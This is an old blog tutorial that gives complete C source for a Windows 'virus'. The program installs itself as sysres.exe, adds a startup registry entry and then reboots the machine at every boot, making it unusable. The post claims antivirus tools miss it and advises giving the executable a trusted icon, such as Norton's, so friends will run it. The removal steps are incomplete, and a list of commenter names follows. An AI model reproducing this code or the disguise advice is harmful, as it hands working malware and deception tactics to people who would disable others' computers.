Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
99 Comments
Jiyar
January 17, 2009 at 1:48 AMNilesh
January 25, 2009 at 12:29 PMav
January 26, 2009 at 5:58 AMJoel
January 27, 2009 at 10:25 PMNilesh
January 28, 2009 at 3:41 PMMonik
February 6, 2009 at 7:19 PMricky
February 13, 2009 at 3:09 PMRajiv
February 14, 2009 at 5:26 PMzeroday
February 15, 2009 at 3:02 AMnik
February 17, 2009 at 12:37 PMsid
February 20, 2009 at 5:49 PMDaniel Tatsuki
February 24, 2009 at 8:30 PMKarthik
March 3, 2009 at 6:51 PMSrikanth
March 5, 2009 at 2:33 PMAnmaya
March 13, 2009 at 4:02 PMSrikanth
March 13, 2009 at 9:26 PMjohn
March 21, 2009 at 12:10 PMSrikanth
March 21, 2009 at 7:37 PMDhiraj Singh
March 23, 2009 at 8:27 PMDhiraj Singh
March 23, 2009 at 9:50 PMSrikanth
March 24, 2009 at 1:12 PMDhiraj Singh
March 24, 2009 at 5:43 PMDhiraj Singh
March 24, 2009 at 7:40 PMSrikanth
March 25, 2009 at 8:18 PMShashank
March 30, 2009 at 10:34 AMMithunRulz
April 8, 2009 at 10:37 AMMithunRulz
April 8, 2009 at 10:39 AMHrithik
April 9, 2009 at 7:33 PMRaj Singh
April 13, 2009 at 1:00 AMdarkterror
April 23, 2009 at 6:28 AMSrikanth
April 23, 2009 at 12:02 PMdarkterror
April 23, 2009 at 2:04 PMpinkey kaur
April 23, 2009 at 9:52 PMAashee
April 26, 2009 at 2:52 PMRafi
May 2, 2009 at 2:20 PMvilkesh patel
May 4, 2009 at 10:21 AMtar
May 5, 2009 at 8:14 PMSrikanth
May 6, 2009 at 11:20 AMSrikanth
May 6, 2009 at 11:41 AMkostas
May 28, 2009 at 7:01 PMalex
June 3, 2009 at 10:07 PMSrikanth
June 5, 2009 at 3:41 PMBun Leap
June 10, 2009 at 11:03 AMprank-sters.........
June 14, 2009 at 2:03 AMprank-sters.........
June 14, 2009 at 2:05 AMprank-sters.........
June 14, 2009 at 2:08 AMsalman
June 23, 2009 at 4:56 AMkid
July 3, 2009 at 9:17 PMmadhu
July 6, 2009 at 11:49 AM